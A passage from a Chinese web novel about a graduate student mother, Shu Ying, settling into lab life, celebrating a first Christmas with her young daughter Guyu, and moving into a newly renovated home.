舒英点点头,还不知道他是两个学哥之中的哪一位。 男生自我介绍道:“我是廖承平,研二的。”又指着对面的男生说,“他是孔天和,博二的。” 廖承平就是彭娟娟之前说的跟她一样工作了几年后才考的研,所以他年纪比孔天和要大一两岁。 两个学哥六月份的时候去外面做实验了,所以她才没见到。 舒英看过去,微微笑起来,一一点头问好后坐到欧阳雪旁边。 欧阳雪瞥了她一眼,没说话,笔下字迹不断。 彭娟娟长长叹出一口气:“学妹都开学了,我的论文还没个头绪呢!” 孔天和笑起来,屈指在她头上轻轻敲了一下:“写到哪儿了?我给你看一下。”言语动作之间都透露着亲昵。 彭娟娟瞬间扬起笑,双手捧着论文递给他。 舒英注意到他们俩之间的小动作,微微挑眉,看来关系有点不简单啊。 又过一会儿,付思萱也来了,跟她一样都背着大大的书包,鼓鼓囊囊的,看着就死沉,压得她弓腰塌背。 付思萱瞧着像是被吸干了精气,半死不活的样子,一屁股坐在舒英旁边,书包放在桌子上,包里面的书和报告都给掏出来,嘴上没停:“小英姐,你报告写得怎么样了?感觉我真是要死了,你知道我昨天几点睡的吗?” “几点?” 付思萱伸出四个手指:“四点!” 舒英惊讶地看着她,现在九点多,这才没睡几个小时。 “唉,也怪我,之前不是跟你说准备暑假去旅游的吗?本来老板布置下这个任务,我都不打算去了的,结果我朋友硬拉着我去,玩是玩爽了,书是没时间看了……” 她喋喋不休的抱怨着,舒英静静的听,觉得也很有趣,可能是比她大了好几岁,所以看着她的时候总觉得跟看小孩一样,而且她一看就家境不错,肯定是父母宠着长大的,身上还真的有那种孩子气,看着她,她好像看到了长大的谷雨一样,如果她读研的话,估计也是这样吧。 付思萱还有点报告没写完,跟舒英抱怨完后就在位置上奋笔疾书,企图在这短短的时间里创造出一个奇迹来。 舒英却是松了口气,还好她都写完了。 章惠然十点多的时候来的,没忘记收两个新生的读书报告,舒英的报告一页页都装订齐整,笔迹也娟秀齐整,看着就很赏心悦目不费眼,她满意地点点头,又结果付思萱的。 付思萱交报告的时候,眼睛都不敢看向她,那心虚的模样一看便知,章惠然把一沓报告拿在手里随手翻了翻,笔走龙飞,字是好看的,但写得都快飘起来了,还连笔严重,不仔细点认,都看不懂写的什么,而且一沓纸零零散散,也没对齐。 科研人多少都有点强迫症,章惠然抿着唇没说什么,双手拿着报告在桌子上当了当。 付思萱看到这一幕,更不敢吭声了,鹌鹑一样老实回到位置上做好。 章惠然是很热爱钻研的人,又拥有令人艳羡的精力,暑假她也经常来学校,也就没有什么开学总结,收了两个学生的报告后,又问了问欧阳雪彭娟娟四人的进度,皱着眉提了些意见后就回办公室了。 她一走,舒英明显感觉的实验室里众人松了一口气,尤其是付思萱。 付思萱拍着胸口道:“好恐怖,真的好恐怖,一瞬间回到中学假期没完成作业,要开学被老师骂的那种感觉,要知道,这大学四年我都没这种经历了。” 舒英抿唇笑了笑,“没事,老板不也没说什么吗?” “唉,你不知道。”付思萱摇摇头,“我那报告有几张真的写得很敷衍,一看就没好好看文献的那种,我现在是真怕。” 这下舒英没办法了。 中午舒英没回家吃,谷雨的幼儿园中午是不放学的,她也就不再急着回家,正好可以品尝一下学校的食堂。 付思萱缓了一会儿后早把刚刚的事情抛掷脑后了,拉着舒英推荐食堂饭菜:“今天开学,三个食堂都开了,三食堂我最喜欢,离咱们这边也近,咱去那吃吧?” 舒英对学校食堂知道的不多,对此没有意见,两个人去了三食堂。 两个人一起吃饭,免不了要聊天,谁也不喜欢在吃饭的时候聊一些让人痛苦的事情——比如实验,比如报告。 付思萱是本校升上来的,对实验室里的几个学哥学姐也都更清楚,说起大家的八卦。 “彭学姐和孔学哥他俩是一对儿这事你知道吗?” “看出来了。” “这么厉害,他们俩好像在一起一年多了吧。”付思萱又问,“你知道欧阳学姐的爸爸是谁吗?” 这舒英还真不知道,她好奇问:“是谁?” 付思萱哼哼着卖了个关子:“你知道隔壁化学学院的副院长姓什么吗?” “姓欧阳?”舒英试探道。 付思萱点头,说:“所以你明白了吧。” 明白了,欧阳学姐是化学学院副院长的女儿。 “不过欧阳学姐很厉害的,是靠真凭实据考上来的,不是靠她爸爸,只是她家里也很厉害,她家就住在后面的小红楼,所以平时吃饭都是回家吃。”小红楼是沪大学生对那几栋楼的称呼,能住在小红楼里的都是学校里很厉害的人。 舒英点点头,被欧阳学姐教了那么久,她要是会在这种事情上误会,她脑子也就白长了。 “还有廖学哥。”付思萱光顾着说话了,都没怎么吃饭,“我对他知道的就不多了,别看他平时挺好相处的,跟谁都能开两句玩笑,怎么说都不恼,但其实他可有界限感了,特别难接近。” 第6 0章 第 60 章 圣诞老人的礼物 下午舒英就拿到了自己的课表, 课挺多,听学姐讲,研究生时期的课大多都集中在了研一, 研二上学期好有点课, 但从下学期开始几乎就完全没课了。 章惠然大概花了两天时间把舒英和付思萱交上去的报告看完了,看完后就把她们叫到办公室去,修改、讲解、批评, 不过批评大多都是在说付思萱,说她没有认真对待这个作业,报告写得敷衍至极,说得她生无可恋, 出了办公室就跟舒英道:“我就知道她肯定能看出来我写得不怎么样,唉!” 舒英笑了笑,脑子里还在消化刚才章惠然对她疑问的解答。 正式开始上课后,舒英发现研究生生活实没有什么有趣的地方, 每天就是上课、看文献、做实验、记录数据, 白天在学校里忙得脚不沾地,晚上回到宿舍还得把书翻开复习巩固, 研究生阶段主要就是靠学生的自制力了, 老师基本不会太过问你,上完课后顶多留一下解决一下学生们的疑问,然后就离开了。 不过生活虽然枯燥单调了点,但好在章惠然实在是个好导师, 就说每个月的研究生补贴,就从来不会克扣他们的,而且等专业上成熟一点后,还会介绍他们做一些横向课题, 有一些额外收入,这些收入她也是不过问的,不像有些有名无德的导师,别说横向课题收入了,就是补贴都得掏一半反给他。 他们学生私底下聊天,这种事情可不少见,就算是无数人向往的光鲜亮丽的沪大,也不乏有这样的导师。 舒英也跟着开了几次组会,见识到平时和蔼温柔的章惠然严厉骂人,也不算骂人,就是很有威严感,不停地提问题,答不出来皱眉质问这段时间到底有没有在学习,她只要脸色一沉,众人的心就跟着一提,组会开多长时间,他们的精神就跟着集中多长时间,完全磨不了洋工。 舒英基础底子差一些,尤其是英语还有些跟不上,没办法,就只能靠着加倍的努力来追赶了。 连着一段时间跟陀螺似的转动,舒英觉得自己眼中用眼过度,有时候看书的时候都觉得酸软,还有点儿模糊感。 天气逐渐转凉,在屋里坐着不披个衣服在身上都觉得有点冷,李固言端了热牛奶放到她书桌前,“看到现在了,歇会儿吧。” 舒英长舒一口气,仰头靠在椅背上,这段时间脑子突然被灌进大量知识,很爽的同时还真觉得有些负荷。 房间里的灯有些昏黄,书桌上的灯明亮,她仰着头看李固言,黄的灯白的灯都打在他脸上,使他的脸部线条清晰又柔和,还记得刚结婚的时候,他气质疏离,整日里高深莫测的,现在眸中流连着爱意,唇角也不自觉地轻微上扬。 气质由冷变暖,唯一不变的是俊美的脸。 “怎么一直盯着我?”李固言骨节分明的长手随意搭在桌角,歪着头看她,脸上笑意不减。 舒英也笑,“赏心悦目,能放松身心。”她坐直,端起他手边牛奶抿了一口,温热丝滑,喝下去只觉浑身舒适。 李固言突然把脸凑过来,笑起来道:“那你多看会儿?” 现在已经接近十点,谷雨早就睡着了,舒英瞥了眼他身后的小床,谷雨睡得正香,她玩心起来,勾起唇角挑了下眉,屈指在他脸上滑过,有些冰凉的指腹滑到他脖子上,轻轻勾着衣领把他拉近,眼睛极具侵略性地在他脸上肆意流连,几度暧/昧地盯着他柔软的唇。 但她现在是个狡黠的猎手,在猎物没有玩弄够前,是不会主动吞拆入腹的。 李固言没有提前预料到她的动作,有些失神地看着她,喉间微微滑动,等着她的下一步动作。 舒英放松地坐在椅子上,勾着他的手用用了点力,让他腰弯得更低,自己也坐得更松弛,她睨了眼他撑在桌边的手,指尖用力按着,发着白,手背处泛起青筋,克制内敛。 她调皮地讲自己的脸贴上他的,脸颊互相蹭了蹭,又痒又软,两人离得太近,近得她能听到他的吞咽声。 舒英轻轻笑出声,温热的气息喷洒在他耳边,有些痒,让他耳朵不自觉地动了动。 舒英自然是注意到这点,又把他往下拉了拉,他的手简直要撑不住,整个人都快要伏在她身上。 舒英故意在他耳蜗处吐息,低声道:“好敏/感。” 李固言耳尖瞬间红透,直觉胸中憋着一股热火,直直往下。 舒英又笑了笑,松手放开他,看着他火热的双眼无辜说:“牛奶喝完了,你去把杯子洗了吧。” 李固言拿起空杯子,深深地看了她一眼,身体没动。 舒英伸手在他腰上推了推,“快去呀,我书还没看完呢。” 李固言凸起的喉头又动了动,舒英看在眼里,眼底堆积起笑意。 “好。”他道,声音沙哑得不像话。 说完握着杯子出去,舒英抿唇笑了笑,将书桌收拾了一下,起身伸了个懒腰。 …… 在学校适应了一段时间后,舒英总算是习惯了这种忙碌的生活模式,甚至有时还能忙里偷个闲。 谷雨幼儿园放学一般都是赵姐去接的,她放学早,才四点多就放学了,那时候舒英还在学校里奋笔疾书呢。 这天中午,舒英对赵姐道:“下午我就一节大课,晚上我去接谷雨,带着她在外面吃,就不用做我们的饭了。” “好。”赵姐点点头。 一节课上到两点半结束,舒英又回实验室待了会儿,谷雨幼儿园离这边不远,快四点的时候过去,正好能赶上她放学的时间。 舒英一向都要等到五六点的时候才走,今天走这么早,付思萱还有些疑惑问:“小英姐,你今天怎么这么早走?” 舒英笑了笑:“我去接我女儿放学。” “哦哦,这忙得我都快忘了你还有个女儿了。”付思萱不好意思笑起来,“说起来我好像还没见过你小孩呢,你长得这么漂亮,你女儿肯定也好看。” “也是太忙了,平时都没什么时间陪她,回头有空我把她带学校转一转,你就能看到了。” “行啊。” 舒英摆手:“那我就先走了。” 舒英没带什么东西,走着去的幼儿园,已经是秋天了,这条路上的树叶开始发黄,掉了好多堆在路边。 到幼儿园的时候,门口已经等了很多人,三三两两地聚在一起聊天,舒英没怎么来接过谷雨,所以对这些家长还一个都不认识,找了个离门口近的角落站着。 四点十五,幼儿园放学铃声响起,保安将幼儿园的门拉开,教学楼里的小朋友们在老师的带领下乖巧地排成队出来。 舒英掂着脚找小班五班的牌子,也好找,小班先出来,第五个班级就是5班,队伍排成 两排,男女各一排,舒英在七八个女生里成功锁定谷雨,她带着统一的小黄帽,边走便跟后面的一个小女孩嘀嘀咕咕地说话,也不知道聊的什么,专注地连路都不看。 舒英看着她有些好笑地摇摇头。 老师注意到队伍里的声音后,轻轻拍了下她的肩膀提示,谷雨吐了下舌头把脸转回来朝前看,她眼睛也尖,一下子就看到门口的妈妈,惊喜的眼睛都瞪大,脸上瞬间露着灿烂的笑。 舒英见她发现自己,伸出手朝她晃了晃。 孩子们一个班一个班地放出来,很快就到了5班,家长来的上前去领,家长没来的孩子就被老师带到另外一边等着,反正是不见家长是肯定不会放人的。 舒英走到老师跟前,要接谷雨。 她虽然没怎么来过,但老师是能认出她来的,笑着将谷雨牵出来给她。 谷雨蹦蹦跳跳的,小嘴巴喋喋不休:“妈妈妈妈,今天怎么是你来接我呀?” “因为妈妈今天有空啊。”舒英笑起来,“妈妈来接你开心吗?” “开心!”谷雨乐得要一蹦三尺高,用手比划着说,“开心有那么那么那么多!” 舒英笑吟吟的:“今天晚上不回家吃,妈妈带你去吃好吃的好不好?” “好!我最喜欢妈妈了!” 舒英听到这话,伸手刮了下她的小鼻子。 “刚刚排队的时候你在跟谁说话呀?” “跟芝芝。” 舒英点头,那个就是芝芝啊,谷雨上了幼儿园后,陆陆续续也交到了几个好朋友,不过玩得最好的就是芝芝,天天放学回家都会跟她讲跟芝芝在学校里玩了什么,她早在她嘴巴里听到了无数遍芝芝,只是还不知道哪一个是芝芝。 “那你们刚才在说什么呢?怎么说的那么开心,能跟妈妈说一下吗?” 谷雨听到这话,罕见的有点小羞涩,红着小脸说:“芝芝说她妈妈很厉害,会做特别好吃的蛋糕,我就说我妈妈也很厉害,我妈妈是研究生!芝芝就问我什么是研究生。” 舒英越听越想笑,两个小孩子的童言稚语,真的是忙碌生活中的良药,比那些枯燥的数据有趣得多。 “妈妈我们去吃什么呀?” “你不是喜欢吃披萨吗?妈妈带你去吃披萨还有意面。” “好哦!”谷雨高兴地甩着小辫子,小辫子已经不是她早上给她扎的那个了,小朋友中午睡觉会把头发散下来,睡醒后老师会给重新扎。 小孩子也是有虚荣心的,班里的小女孩们就很喜欢扎漂亮的小辫子,别漂亮的发卡,舒英和李固言因为谷雨喜欢,现在手都巧得很,天天给她换着花样地扎头发。 绝不让她比其他小朋友逊色。 两人坐车去了常去的那家意式餐厅,点了一份番茄意面,一份菠萝培根披萨,一份奶油蘑菇汤,还给谷雨要了一杯热巧克力。 小孩子都喜欢这些甜的发腻的东西,第一次来的时候好奇点了一杯,舒英尝过一口后就不肯再喝,但谷雨却喜欢的紧,捧着杯子转圈儿地喝,喝得嘴巴牙齿都是黑的。 舒英见状从口袋里掏出手帕给她把嘴巴擦干净,又道:“先少喝点,不然待会儿吃不下其它东西了。”小朋友的肚子小,一被热巧克力就能占一大半。 谷雨也知道这个道理,拍着小肚子乖乖坐在椅子上,眼睛盯着四周来往的服务员,看哪一个是朝她们走过来的。 意面、披萨和奶油蘑菇汤先后上来,舒英要了小碗,把意面分了点到她的小碗里,让她拿着叉子吃,谷雨捧着碗吃起来。 奶油蘑菇汤浓厚鲜美,披萨上的菠萝肉甜滋滋的很好吃,披萨也是酸甜口的,都很符合小孩子的口味,谷雨吃得小肚子鼓鼓,很是满足。 舒英笑起来:“吃饱了吗?” “吃饱了,好饱好饱。”谷雨说着还打了一个嗝。 舒英忍不住笑,拿起包起身:“吃饱了我们就回去吧?” “好。”谷雨灵活地从椅子上跳下来,去牵妈妈的手。 也不知道是不是因为吃得太开心,谷雨晚上睡着了都还在砸吧嘴,看得人哭笑不得。 三四个月过去,他们家的新房也装修好了,苏经理给他们打电话让他们可以去验收了。 他们家的房子装修好了,舒秀珍家的也好了,两家人一块约着去验收。 验收的时候苏经理也陪着,先坐电梯去的五楼舒英家。 他们装修好后也负责给打扫干净,一进门光线明亮,几个人走进去,硬装都包给了他们,柜子的颜色不深,是她挑选的原木色,房间里就还差软装了,等这些都添置齐全后,这就是一个可以入住的温馨的小家。 看完了五楼,一行人又去六楼,舒秀珍当初要求的是典雅大方,所以房间的整体配色偏黑白一点,她是全部都包给了苏经理,包括软装,所以现在提包就能入住,可以说他们公司的设计真不错,房间里的空间全都利用到了极致,审美也好,很符合舒秀珍的要求。 舒英看着都有点后悔当初没像她一样全包出去,现在还得买床和家电这些,买这些东西也是要费心费时间的,但他们现在最缺的就是时间。 不过幸好才装修好的房子还不能住,得通风散气一段时间,可以趁着这段时间一件一件添。 看完房子,签完验收合同后,苏经理还要赶着回去上班,就没再陪着他们,不过她走前道:“一年内如果房子里的家具家电出了什么问题,都是可以找我们免费换、修的。” 等她走后,两家人还在房子里转了转,格局一样的两套房装修成了两种不同的风格,不过都很让人满意,舒英很喜欢客厅里的阳台,因为是南向,前面也没什么遮挡,只要是晴天,就可以从早到晚的享受阳光。 她盘算着到时候要在阳台一角放一个躺椅,这样她就能边晒太阳边看书,而且就算不是晴天是雨天,边听雨声边看书,也是一种享受。 舒秀珍问:“你们准备什么时候搬过来?” 舒英道:“十二月底吧。”因为租的房子又续了三个月的租期,所以可以尽量让新房子多通风散气一段时间。 舒秀珍却是等不了那么久,她打算着下个月就带着贝贝搬进来住,不过这样一来,离贝贝的幼儿园距离就远了,这学期忍一忍,下学期再给她转个幼儿园。 时间转眼而过,马上就是圣诞节了,因为这几年《小鬼当家》的两部电影在国内接连上映,西方文化进入国内,国内也刮起一阵圣诞热,好多大一点的店铺前都会简单装饰一下以吸引顾客。 安城因为是小城没怎么受到影响,沪市是国内最发达的城市之一了,也有很多外国人,所以圣诞氛围更加浓厚,第一次经历的舒英都忍不住感到惊讶。 赵姐经历了两年已经见怪不怪了,还道:“我上任雇主家里也喜欢过圣诞,他们家两个孩子,还会给孩子床头挂个什么袜子,里面放礼物,小孩第二天早上一起来就能看见,跟小孩说是啥圣诞老头送的。” 舒英忍不住笑起来:“是圣诞老人吧。” 赵姐也笑,摆摆手说:“哎呀,差不多差不多。” 舒英以前就听过圣诞节,是西方的春节,圣诞老人给孩子送礼物这点跟除夕时给孩子压岁钱有点像。 现在满大街都是圣诞装扮,因为新鲜感,她也有点好奇,跟李固言商量要不要给谷雨过一下。 只要是她说的,李固言没有不乐意的,当下就说:“行啊,到时候我们也在谷雨床头挂个袜子,里面塞上礼物,说是圣诞老人送她的,她肯定开心。” 舒英想了想那画面,也有点高兴,“那咱们送个什么?” 这是比较头疼的,因为谷雨真不缺什么,买衣服鞋子从来不抱着以前那种买大点能穿好几年的观念,从来都是买合身漂亮她喜欢的,而且他俩还喜欢给闺女买,导致谷雨的衣服鞋子多得都穿不下,再像发卡头花这些,因为谷雨爱美,所以每次带她逛商场,都能买一堆回来,她这些东西也不缺,而玩具呢?她玩具已经一大箱子了,各种类型都有,更是一点不缺。 平时谷雨也没有特别想要什么,因为一般出去玩,只要不过分,都是她喜欢什么就给她买什么,在这方面他们没怎么节制过她,舒英觉得如果在袜子里给她塞两颗大白兔奶糖,她应该会更高兴,但这也有点太敷衍了些。 两个人面面相觑,都有些头疼。 看来有时候太宠着了也不太好,这样过个节日想给她送个礼物都不知道该送些什么,因为什么都不缺。 不过细细想来,这样好像也挺好,外面很多人都说小孩要什么给什么容易把她惯坏,说小时候要小玩意儿还能给起,等长大后野心也大了,那时候再要的东西,父母给不起怎么办? 之前舒英也担心过这点,但她自觉他们虽然宠着她,算是要什么给什么,但从没惯过她,像上次给贝贝买洋娃娃,谷雨再不开心也没松口给她买,因为不合理,后来谷雨明白过来后,也没再吵过闹过,还是开开心心的小家 伙。 不过舒英也没在谷雨身上看到过即将长歪的一面,她天天看着谷雨长大,觉得她除了有点小虚荣心,又爱吃甜的外,其他方面倒还好,就是逛商场,她更多的也都是想让爸爸妈妈给她买糖吃,像玩具发卡这些反而是他们想买。 她想了想,可能是因为他们只限制她吃糖,从没限制过其他小玩意儿,导致糖在她那里算是稀缺物,而其他东西因为有的太多,反而有点不在意了。 舒英试探道:“要不就给她装两颗糖算了?” “……” 她说完自己也觉得有点不太好,这也有点太简单了。 李固言想了想说:“要不给她买个杯子吧,她太不喜欢喝水了,总要人催着才喝两口,给她换个新杯子,就算是新鲜劲儿,也能管几天多喝点水。” 这倒也行,舒英点头,“那我回头去给她挑一个可爱点的。” 他们这辈子都会只有谷雨这一个孩子,他们所有的钱和爱都会倾注在她身上,他们想给她一个开心快乐完美的童年,所以才会在从来没过过圣诞节的情况下想着领她过一下,想看她收到礼物时高兴地跳起来,想看她像幸福的小蝴蝶一样在他们身边围绕。 舒英在圣诞节的前两天就跟谷雨讲圣诞老人的故事,好提高她的期待感。 谷雨躺在妈妈怀里问:“妈妈,那我也能收到礼物吗?”自从天一天比一天冷后,谷雨就开始跟他们睡一张床了,因为怕她自己睡暖不热被窝被冻到。 但其实谷雨这一点随爸爸,身上跟小火炉似的,全身上下都暖烘烘的,舒英抱着她,香香软软的,又很温暖,比抱着热水袋舒服多了。 “是啊,等平安夜的时候,我们把袜子挂在床头,夜里就会有圣诞老人来给你送礼物了。” “那我可以不睡觉,看圣诞老人长什么样子吗?” 舒英好笑道:“当然不行啊,那样圣诞老人就不来了,所以你那天要早早上床睡觉哦。” “好吧。”谷雨有些失望,不过她又竖起一根手指,“那妈妈我还有一个问题。” “你说。” “不是说圣诞老人每年都会给小朋友送礼物,那我以前收到过吗?我怎么不记得了?” “……” 舒英和李固言对视一眼,都有些无言。 谷雨躺在他们俩中间,骨碌碌的黑色眼睛看看爸爸又看看妈妈,大大的瞳仁里都是好奇。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 60-70 第61章 第 61 章 “妈妈,你身上好香啊。…… “送了啊, 不过你那时候还小,所以不记得了。”舒英把她有点炸毛的头发捋了捋解释道。 谷雨眨巴眨巴眼睛问:“那送的什么呀?” “……你不是有两对蝴蝶发卡吗?那个就是圣诞老爷爷送给你的。” 李固言在旁边听着她瞎编,没忍住笑出来。 舒英抱着谷雨瞪了他一眼。 李固言连忙正色帮忙骗小家伙:“对啊, 那发卡就是圣诞老爷爷送的, 爸爸可以作证。” “那好吧。”谷雨的发卡太多了,她早不记得那对蝴蝶发卡是什么时候拥有的,又是谁送的了, “那今年圣诞老爷爷会送给我什么呢?” 舒英忙趁机问:“那你想要什么呢?也许你把你想要的说出来,圣诞老爷爷就会送给你哦。” 谷雨想了想,灵动的大眼睛眨呀眨说:“我想要好多好多糖,每天都能吃一百颗糖!”她现在知道的最大计数单位就是一百, 在她眼里,一百可是个天文数字。 “……”舒英就知道她就只想要糖,但糖这种东西一天顶多让她吃一颗,要是不加节制了, 那还了得? 李固言笑了笑:“好了, 已经九点多了,今天可以睡觉了, 等到圣诞节, 我们可以期待一下圣诞老爷爷会送谷雨什么东西。” 谷雨乖乖闭上眼睛,嘴里还说:“希望圣诞老爷爷能给我好多好多糖,要大白兔奶糖、巧克力、花生糖、太妃糖、酥糖……”她念叨着自己喜欢吃的糖果,说着说着口水就要流出来了。 舒英听着都觉得好笑, 伸手把她的被子又掖了掖,等她彻底睡着后,才对李固言道:“看吧,我就说闺女肯定是想要糖吧?” “知女莫若母啊。” 但糖果肯定是不行的, 这是一开始就否定了的,舒英提前就去商场挑选说好的水杯。 因为马上就是圣诞节,商场里卖的好多物品也都沾了点圣诞风格,舒英选了一个胖墩墩的雪人形状水杯,杯身有小麋鹿的图案,很是可爱。 平安夜晚上,舒英和李固言带着谷雨把大大的袜子挂在床头。 谷雨问:“只要把袜子挂在床头就能收到礼物了吗?” “对呀。” “可是我们把窗户关上了,那圣诞老爷爷要怎么进来放礼物啊?”谷雨现在正是好奇心旺盛的时候,肚子里一大堆的问题等着爸爸妈妈解答。 李固言道:“圣诞老爷爷有魔法,他在窗外看到你挂了袜子,手指一点就能把礼物放进去了。” “哇哦!”谷雨眼睛瞬间瞪大,兴奋地要跳起来,“我也想要魔法,我能跟圣诞老爷爷学习魔法吗?” 这下轮到舒英憋笑了,李固言不忍心打破女儿的幻想,道:“有可能哦。” “太棒了吧!”谷雨赶紧站起来,掂着脚去摸厚厚的大袜子,“老爷爷老爷爷,你不要忘了让我以后跟你学魔法哦,我以后想当圣诞老奶奶!” 圣诞老奶奶? 看着天真无邪的三岁半小姑娘,舒英和李固言对视一眼,都从对方眼中看到了自己咬着唇忍笑的模样。 她踮脚站得艰难,舒英怕她摔倒,忙说:“好了好了,老爷爷今天晚上很忙,我们要早点睡觉,这样老爷爷就能早点把礼物送给你。” “好!”谷雨精神还亢奋着,但因为想要圣诞老爷爷的礼物,赶忙躺倒,被妈妈严严实实地裹上被子,闭上眼睛就开始睡。 不过太高兴的时候睡得会比较慢,她虽然闭眼了,舒英却看她的眼珠子还在转动,不由得抿唇笑了笑。 舒英搂着她,轻轻拍着她的背,等把她彻底哄睡后才从床上起来,去把抽屉里的水杯拿出来放到袜子里。 李固言看着她动作,微微笑起来,在谷雨额头上亲了下。 第二天一早,谷雨睡得迷迷糊糊,就被舒英叫起来:“天亮了,宝宝可以起床了哦。”李固言手持录像机记录着这一刻。 像素不高的录像机里谷雨坐起来打了个哈欠,揉了揉眼睛,睡眼朦胧,嘟嘟囔囔道:“妈妈,我还是好困。” 舒英笑了笑,把她睡炸毛的头发往后顺,也不知道怎么睡的,每天早上醒来,头发都跟鸡窝一样。 “圣诞老爷爷给 你送礼物了哦,你不赶紧起来看看是什么吗?” 谷雨听到这句话瞬间清醒,迫不及待就要从被窝站起来,眼睛亮晶晶的:“是什么是什么,我要看!” “等等,等等,先把衣服穿上。”舒英赶忙拦着她,把毛衣毛裤给她套上,再是小火炉现在也是冬天,小孩子的抵抗力比不上大人,感冒可不是闹着玩的。 谷雨眼睛紧紧盯着鼓鼓囊囊的红色大袜子,身体还乖乖的顺从妈妈,说伸胳膊伸胳膊,说抬腿抬腿,等穿好衣服后,连忙去够大袜子,把大袜子从墙上拿下来。 舒英有点期待她看到礼物的反应:“打开看看,是你喜欢的吗?” 谷雨一屁股坐到床上,兴冲冲地把袜子倒过来,里面的东西都倒在床上。 圆滚滚的雪人保温杯滚到被子上。 舒英问:“喜欢吗?” 雪人保温杯的形态非常逼真,谷雨还以为是个玩具,抱在怀里点点头:“喜欢!”笑起来漏出一嘴整齐的小乳牙。 舒英把杯子打开,说:“这是圣诞老爷爷送你的杯子,以后你就可以用这个杯子喝水啦,每天都要多多喝水哦。” 谷雨现在正在兴头上,答应的非常利落:“好!” 舒英看着她,指着录像机笑道:“你说的话可都被爸爸录下来了,不能反悔了哦!” 谷雨做贼似的抬头看着爸爸手里的录像机,嘿嘿笑了两声,也不说话了。 李固言觉得好笑,故意把录像机凑到她脸前去拍。 “爸爸都录下来了,不能出尔反尔了。” “那好吧。”谷雨抱着雪人水杯,脸上的表情有点勉强。 舒英和李固言想笑,又不敢当着她的面笑,忍的脸上的肌肉都有些酸胀,这个年龄段的小孩最好玩了,再小一点听不懂大人说话,大一点又能判断大人是在骗她,只有这个时候大人说什么信什么。 舒英笑着抬手拍了拍她的小屁股:“好了,我们去刷牙洗脸,就可以吃早饭了,还得上幼儿园呢。” 谷雨扒在妈妈身上,被妈妈抱着走,问:“那妈妈,我能把水杯带到幼儿园去吗?我想给芝芝看看。” 舒英边抱着她往洗手台走,边点头说:“当然可以。” 李固言拿着录像机跟母女俩一块儿往外走,手里还拎着闺女的棉拖鞋,她的棉拖鞋是毛绒绒的小羊形状。 今日圣诞,为了让她更开心,舒英和李固言吃完早饭后亲自送她去幼儿园。 凑巧在幼儿园门口就碰到了芝芝和她妈妈。 两个好朋友一见面就小跑着拥抱起来,抱完了谷雨才想起来要给芝芝看自己的圣诞礼物,又跑到妈妈身边,从自己的书包里把雪人水杯拿出来在芝芝面前晃。 “这是圣诞老人送我的呦~我早上一起来就看到了。”小家伙摇头晃脑的得意样,做父母的怎么瞧都瞧不够。 芝芝妈妈姓崔,是个很温柔的人,笑着对芝芝说:“芝芝,你不是说要把你的礼物也拿给谷雨看吗?” 芝芝红着小脸从书包里拿出一个玩偶,是一只小狗,她道:“我跟你说,这只小狗跟我家的波波长得一模一样!” 谷雨捧场地喊:“哇!好可爱!” 芝芝开心地笑起来,道:“你的也好看。” 两个小朋友交换着看,边看边互相夸赞。 三个大人站在旁边看着她们,觉得幸福得要溢出来了。 …… 到了十二月底,租的房子到期,新房子里面陆陆续续也都添置齐全了,这段时间赵姐也慢慢把家里的一些东西都移到新房里去,所以除了大件,该搬过去的都搬过去了,现在就把剩下的搬过去就好了。 舒英和李固言选了个周日搬家,这天两人都有空。 三个大人把房间里的东西都打包,拎到楼下租的车子里,等全搬完后,又把房子给打扫干净,让房东收房。 地毯上谷雨抠的洞早就赔过了,房东转了一圈,觉得没什么问题后就退了押金。 一家人连带赵姐坐上车去新房子。 新房子也被赵姐打扫得干干净净,只要把床铺上,立马就能睡。 新房也是两室一厅,谷雨跟着他们睡主卧,次卧给赵姐睡,另外家里的一些杂物和换季的一些衣服也都放在次卧。 住在自己的房子里和住在租的房子里,感受是完全不一样的,晚上洗漱完,舒英涂着脸,看着梳妆镜里的自己,又透过镜子看床上玩闹的父女俩,莞尔一笑。 “谷雨,过来,妈妈给你涂香香。” 谷雨立马从床上爬起来,滑着身子下床,趿着拖鞋屁颠屁颠地就凑到妈妈身边,还道:“妈妈,你身上好香啊。” 舒英笑起来,把小孩面霜倒在手上往她脸上抹:“涂了香香你也香。” 等谷雨涂完,李固言也趁乱过来,把脸伸到舒英手边:“我也要涂。” 舒英翻了个白眼,笑着说:“喏,桌子上呢,自己涂。” “你都帮谷雨涂了,也帮我涂一下嘛。”说着把眼睛闭上,一副她不涂他就不走的模样,“而且不能在孩子面前翻白眼,小心她学了去。” 舒英撇嘴,哼了一声,看了一眼睁着乌黑双眼的谷雨,到底是没再翻白眼,挖了点谷雨的面霜往她爹脸上蹭。 他胡子刮得干净,但摸起来到底不像女孩子那样平滑,稍稍有点喇手,舒英边给他蹭边吐槽道:“平时也不见你要涂。” 李固言闭着眼很享受的样子,“那我今天也想变得香香的。” 舒英听到这话,一个白眼差点就又要翻出来,忍了忍又憋了回去,给他涂完后拍了一下:“好了,回去吧。” 李固言睁开眼,对旁边一直盯着瞧的谷雨做了个鬼脸,一把把她打横抱起,猝不及防间,谷雨兴奋地“咯咯”直笑。 “爸爸,还要还要,再玩一次再玩一次!” 舒英:“不能再玩了,一颠一颠的,小心晃吐了。” 李固言冲谷雨挤眉弄眼:“妈妈说不能玩了,我们乖乖睡觉吧。” 谷雨小心瞅了妈妈一眼,见她沉着脸,也不再要求再来一次了,大眼睛挤吧挤吧说:“那好吧。” 李固言把她身上的毛衣毛裤脱掉,只剩下衬衣衬裤,整个人囫囵塞进被窝里,自己也进去给她暖着,读着睡前故事哄她睡觉。 舒英见父女俩安生下来不再作妖,也翻开自己的书看起来。 谷雨和贝贝这下又住到一块儿去了,两个人天天孟不离焦焦不离孟,幼儿园放学一回来,不是你上楼找我,就是我下楼找你。 表姐妹处得跟亲姐妹一样,不过年龄相仿的两个小孩子,也是避免不了的要发生矛盾,吵起来的时候个个龇牙咧嘴恨不得上去把挠对方一把,好起来的时候又是你亲亲我我抱抱你。 大人们也不掺和她俩,顶多就是在她俩吵架的时候给拉开,别真打起来了。 这么大的小孩,吵起来的理由也离谱得很,有一次舒英在旁边听着,俩人就因为争谁的朋友最好吵得不可开胶,一个说娜娜好,一个说芝芝好,还各种举例,话还说不那么利索呢,就边结巴边举例,舒英在旁边听得想笑,怎么也想不明白这个有什么好争的,她也没管她们,只注意着她们嗓门大起来要开始喊的时候制止,这楼里楼外的还住着其他人呢,小孩子的声音穿透力极强,扰了民会有人上门的。 